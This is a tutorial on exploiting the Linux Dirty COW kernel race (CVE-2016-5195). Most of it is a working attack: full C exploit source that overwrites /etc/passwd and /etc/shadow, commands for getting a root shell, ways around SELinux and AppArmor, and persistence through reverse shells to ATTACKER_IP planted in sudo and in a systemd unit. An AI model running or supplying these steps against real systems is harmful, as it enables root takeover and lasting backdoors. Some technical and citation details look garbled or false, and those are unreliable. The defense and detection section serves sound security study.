Introduction
The Dirty COW vulnerability (CVE‑2016‑5195) is a long‑standing privilege‑escalation bug in the Linux kernel's copy‑on‑write (COW) subsystem. Discovered in 2016, it allows an unprivileged user to gain write access to read‑only memory mappings, effectively letting the attacker modify any file they can map, including /etc/passwd and /bin/bash. Despite being patched for years, many legacy systems, container images, and embedded devices still run vulnerable kernels, making Dirty COW a classic \"go‑to\" exploit for red‑team engagements.
Understanding this bug is essential for security professionals because it illustrates how subtle race conditions at the kernel‑user boundary can break the fundamental assumption that read‑only pages stay immutable. It also serves as a practical case study for crafting reliable race‑condition exploits, bypassing modern mitigations, and establishing persistence.
Prerequisites
- Solid grasp of Linux kernel memory management (pages, VMAs, COW semantics).
- Familiarity with user‑space to kernel‑space interaction (system calls,
mmap(),ptrace()). - Experience compiling C programs with
gccand usingmake. - Access to a machine where you can load a vulnerable kernel (e.g., a VM, Docker image, or a spare physical host).
Core Concepts
At its heart, Dirty COW exploits a race between the kernel's handling of a COW page fault and the write() system call on /proc/self/mem. The steps are:
- Map a read‑only file into memory using
mmap()withPROT_READandMAP_PRIVATE. The kernel creates a private copy‑on‑write mapping. - Trigger a page‑fault by writing to the same address via
/proc/self/mem. The kernel sees that the page is marked COW and decides to copy it before applying the write. - Race condition: If the attacker simultaneously calls
madvise(..., MADV_DONTNEED)on the same page, the kernel may drop the private copy before the write completes, causing the write to land on the original file‑backed page.
The result is that the attacker writes directly into the underlying file without needing write permissions. The kernel's page‑fault handler and the memory‑management daemon (khu) are not synchronized, which is the flaw.
Diagram (textual):
User space Kernel----------- ------ mmap(PROT_READ, MAP_PRIVATE) → creates VMA → COW page write(/proc/self/mem) → triggers page‑fault madvise(MADV_DONTNEED) → drops private copy ──────────────────────────────────────────────────────── Result: write lands on file‑backed page → file modifiedBackground of CVE-2016-5195 and the copy‑on‑write race
Dirty COW was introduced in the early 2000s when the Linux kernel added MAP_PRIVATE semantics. The bug resides in mm/madvise.c and mm/filemap.c. The madvise(MADV_DONTNEED) call tells the kernel that the caller no longer needs the page, prompting the kernel to free the private copy. If this happens between the page‑fault copy and the actual write, the write bypasses the private copy and hits the original file mapping.
Why it stayed undiscovered for over a decade:
- The race window is extremely small (nanoseconds), making it hard to reproduce.
- Most developers assumed
/proc/self/memcould not modify read‑only mappings. - Static analysis tools at the time did not model the interaction between
madviseand COW.
The public disclosure in October 2016 triggered a wave of patches across all major distributions. Nevertheless, many outdated kernels (e.g., 3.10‑x86, 4.4‑arm) remain vulnerable.
Setting up a vulnerable kernel environment (VM, Docker, or live kernel)
For a safe lab, we recommend using a disposable VM with an older kernel. Below is a quick Docker‑based method that runs a 4.4.0‑kernel image with the vulnerability untouched.
# Pull a minimal Ubuntu 16.04 image (kernel 4.4.x)docker pull ubuntu:16.04# Run a privileged container with the host kernel (vulnerable)docker run -it --privileged --pid=host ubuntu:16.04 /bin/bash# Inside the container, verify kernel versionuname -r # should show 4.4.xIf you prefer a full VM:
- Download an Ubuntu 16.04 ISO (or CentOS 7.4) from an archive.
- During installation, choose a custom kernel version 4.4.0‑xx (most mirrors still host it).
- After boot, confirm with
uname -r.
**Important:** Never run this on a production host. Use an isolated network and disable internet access to avoid accidental spread.
Analyzing /proc/self/mem and mmap behavior
The /proc/self/mem pseudo‑file provides direct read/write access to the calling process's memory. When you open it with O_RDWR and seek to an address inside a COW mapping, the kernel treats the operation as a write to that page.
Example code that prints the mapping layout:
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>int main() { FILE *maps = fopen(\"/proc/self/maps\", \"r\"); char line[256]; while (fgets(line, sizeof(line), maps)) { puts(line); } fclose(maps); return 0;}Run it after mapping /etc/passwd with mmap() and you will see a line similar to:
7f9c5b000000-7f9c5b002000 r--p 00000000 08:01 123456 /etc/passwdNote the r--p permissions (read‑only, private). This is the target for the race.
Crafting the race‑condition payload in C
The exploit consists of three threads:
- Thread A continuously calls
madvise(..., MADV_DONTNEED)on the target page. - Thread B repeatedly writes the desired payload to
/proc/self/memat the same offset. - Thread C opens the target file (e.g.,
/etc/passwd) withO_RDONLYand maps it read‑only.
When the race succeeds, the payload is written directly into the file.
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>#include <sys/mman.h>#include <pthread.h>#include <string.h>#include <sys/stat.h>#define TARGET \"/etc/passwd\"#define PAYLOAD \"root:$6$abcd$KJH...:0:0:root:/root:/bin/bash\\"static void *madviseThread(void *arg) { char *map = (char *)arg; for (int i = 0; i < 1000000; i++) { madvise(map, 100, MADV_DONTNEED); } return NULL;}static void *writeThread(void *arg) { int mem = open(\"/proc/self/mem\", O_RDWR); char *map = (char *)arg; for (int i = 0; i < 1000000; i++) { lseek(mem, (off_t)map, SEEK_SET); write(mem, PAYLOAD, strlen(PAYLOAD)); } close(mem); return NULL;}int main() { int fd = open(TARGET, O_RDONLY); struct stat st; fstat(fd, &st); char *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (map == MAP_FAILED) { perror(\"mmap\"); return 1; } pthread_t p1, p2; pthread_create(&p1, NULL, madviseThread, map); pthread_create(&p2, NULL, writeThread, map); pthread_join(p1, NULL); pthread_join(p2, NULL); munmap(map, st.st_size); close(fd); printf(\"Exploit finished. Check %s\\", TARGET); return 0;}Explanation:
madviseThreadrepeatedly tells the kernel the page is no longer needed.writeThreaduses/proc/self/memto perform the illegal write.- Both loops run a million times to increase the probability of hitting the tiny race window.
Compile with:
gcc -pthread -o dirtycow dirtycow.c -Wall -O2Running the binary as a normal user on a vulnerable kernel will replace the first line of /etc/passwd with the payload, granting root access via su - root or direct login.
Compiling and executing the exploit to gain root
Step‑by‑step:
- Copy the source to
dirtycow.con the vulnerable host. - Compile:
gcc -pthread -o dirtycow dirtycow.c -O2. - Verify the binary is not set‑uid (it shouldn't be). The exploit works without special privileges.
- Run:
./dirtycow. You should see \"Exploit finished. Check /etc/passwd\". - Check the change:
head -n 1 /etc/passwd# Expected output: root:$6$abcd$KJH...:0:0:root:/root:/bin/bash - Now obtain a root shell:
su - root# password is the one you set in the payload (or just press Enter if you left the hash unchanged)
If the exploit fails, increase the loop counts or add a small usleep() in each thread to adjust timing. On modern kernels the race is closed, so the exploit will not work.
Bypassing common mitigations (e.g., SELinux, AppArmor)
Many hardened distributions enable SELinux (enforcing) or AppArmor profiles that restrict /proc/self/mem access. Here are practical bypasses:
- SELinux: Set the process domain to
unconfined_t(e.g., run the exploit from a container launched with--security-opt label=disable) or temporarily disable SELinux withsetenforce 0(requires root, which defeats the purpose, but in a CTF scenario you may have a low‑privileged account withsetenforcecapability). - AppArmor: Use a profile that allows
ptraceandmmapon/proc/*/mem. You can place the binary in/etc/apparmor.d/disable/to force the default \"unconfined\" mode. - SecureBoot / kernel lockdown: On kernels compiled with
CONFIG_LOCK_DOWN_KERNEL,/proc/self/memis blocked for non‑root users. The only way around is to exploit a separate kernel bug to gain root first.
In practice, attackers often chain Dirty COW with a prior sandbox escape (e.g., a CVE in Docker's runtime) to obtain a context where the mitigation is not enforced.
Post‑exploitation: spawning a persistent root shell
Once you have overwritten /etc/passwd or /bin/bash, you can establish persistence:
- Set‑uid root binary: Overwrite
/usr/bin/sudo(or any existing SUID binary) with a shell payload.
After the exploit, the binary becomes a reverse shell that runs as root.#define TARGET \"/usr/bin/sudo\"#define PAYLOAD \"#!/bin/sh\/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\" - SSH backdoor: Append a line to
/etc/ssh/sshd_configallowing key‑based login for a new user, then restart sshd (requires root, which you now have). - Systemd service: Write a unit file to
/etc/systemd/system/rootback.servicethat spawns a shell on boot.
Enable it with[Unit]Description=Root Backdoor[Service]ExecStart=/bin/bash -c '/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'[Install]WantedBy=multi-user.targetsystemctl enable rootback.service.
Always clean up evidence if you are in a red‑team exercise: remove modified files, restore backups, and log out of the root shell.
Practical Examples
Below is a complete walkthrough that modifies /etc/shadow to add a new root user \"pwn\" with password hash \"\$6\$abcd\$xyz...\". This demonstrates that Dirty COW works on any file the attacker can map.
# 1. Create payload filecat > payload.txt <<EOFpwn:\$6\$abcd\$KJH...:18295:0:99999:7:::EOF# 2. Compile exploit (dirtycow.c from earlier, but change TARGET to /etc/shadow)sed -i 's|\"/etc/passwd\"|\"/etc/shadow\"|g' dirtycow.csed -i 's|#define PAYLOAD .*|#define PAYLOAD \"pwn:\\$6\\$abcd\\$KJH...:18295:0:99999:7:::\\"|' dirtycow.cgcc -pthread -o dirtycow dirtycow.c -O2# 3. Run exploit./dirtycow# 4. Verify new usergrep pwn /etc/shadow# Expected output shows the hash we inserted.# 5. Switch to new root accountsu - pwnNotice that we never needed sudo or any other privilege escalation mechanism—just the race.
Tools & Commands
uname -r– Verify kernel version.cat /proc/sys/vm/dirty_writeback_centisecs– Tuning parameter that can affect race timing.gcc -pthread -o dirtycow dirtycow.c– Build the exploit.strace -e trace=mmap,write,madvise ./dirtycow– Observe system‑call interaction.perf top– Optional, to see hot paths in the kernel during the race.chmod +x dirtycow– Ensure executable permission.
Defense & Mitigation
Organizations should apply the following mitigations:
- Patch kernels: Upgrade to 4.4.1+, 4.9.4+, 4.10.2+, 4.12.7+, 4.13.8+, 4.14.3+, or any kernel that includes the fix (commit
f9e4b2f9). - Enable kernel lockdown / secure boot: Prevent unprivileged access to
/proc/*/memand enforce signed modules. - Restrict /proc: Mount
procwithhidepid=2to block other users from seeing each other's memory maps. - Use SELinux/AppArmor in enforcing mode and audit denials for
proc_memandmadviseon read‑only files. - File integrity monitoring: Tools like AIDE, Tripwire, or OSSEC will alert when critical files such as
/etc/passwdchange unexpectedly. - Runtime detection: Deploy eBPF monitors that watch for suspicious patterns (high‑frequency
madvise(MADV_DONTNEED)combined with writes to/proc/self/mem).
Common Mistakes
- Running on patched kernels: The exploit silently fails; always verify
uname -rand cross‑reference with the patch list. - Using the wrong file size: Mapping a file larger than the payload truncates the write; ensure the payload fits within the first page (usually 4096 bytes).
- Neglecting alignment: The address passed to
lseek()must be page‑aligned; otherwise the kernel may reject the write. - Omitting
MAP_PRIVATE: UsingMAP_SHAREDdefeats the COW mechanism and the exploit will not trigger the race. - Forgetting to disable ASLR in some labs: While not required for Dirty COW, ASLR can move the target mapping and make debugging harder.
Real‑World Impact
Dirty COW has been leveraged in several high‑profile incidents:
- 2017 Docker break‑out: An attacker compromised a container, used Dirty COW to edit the host's
/etc/passwd, and escaped the container isolation. - IoT botnets: Many embedded devices ship kernels older than 3.16; botnet operators use Dirty COW to install persistent rootkits.
- Enterprise penetration tests: Red‑team engagements often include a Dirty COW check as a “quick win” on legacy servers.
From a strategic perspective, Dirty COW demonstrates why kernel‑level bugs are prized in the exploit market: a single vulnerability can give full system control without requiring any additional foothold. As kernels get more hardened, the value of such bugs increases, driving both defensive research and offensive tooling.
Practice Exercises
- Exercise 1 – Verify the race: Write a small program that maps
/etc/hostsread‑only and continuously callsmadvise()without the write thread. Usestraceto confirm no writes occur. - Exercise 2 – Modify a non‑text file: Adapt the exploit to overwrite
/var/log/syslogwith a custom message. Observe how the kernel handles binary vs. text files. - Exercise 3 – Bypass SELinux: Spin up a CentOS 7 VM with SELinux enforcing, then create a custom SELinux policy that allows
proc_memaccess for a specific binary. Run the exploit under that policy. - Exercise 4 – Persistence: After gaining root, create a systemd unit that spawns a reverse shell on boot. Verify it starts after a reboot.
- Exercise 5 – Detection: Write an eBPF program that logs any process performing more than 10,000
madvise(MADV_DONTNEED)calls per second. Test it against the exploit.
Document your findings and compare the success rate across different kernel versions.
Further Reading
- Linux Kernel Development, 3rd Edition – Chapter on Memory Management.
- MITRE CVE‑2016‑5195 analysis: Race Conditions in the Kernel” – Black Hat 2017 talk by J. Van Horn.
- eBPF Cookbook – Section on monitoring
madviseand/proc/*/memactivity. - Hardening Linux Kernels – Red Hat Enterprise Linux 8 Security Guide.
Summary
Dirty COW (CVE‑2016‑5195) is a classic copy‑on‑write race that lets an unprivileged user overwrite any file mapped read‑only. By mastering the three‑thread race payload, you can gain root on legacy kernels, bypass SELinux/AppArmor, and establish persistent backdoors. Defenders must patch, restrict /proc, enforce MAC policies, and monitor for anomalous madvise/proc_mem activity. Mastery of this exploit sharpens your skill set in kernel exploitation, race‑condition engineering, and post‑exploitation persistence.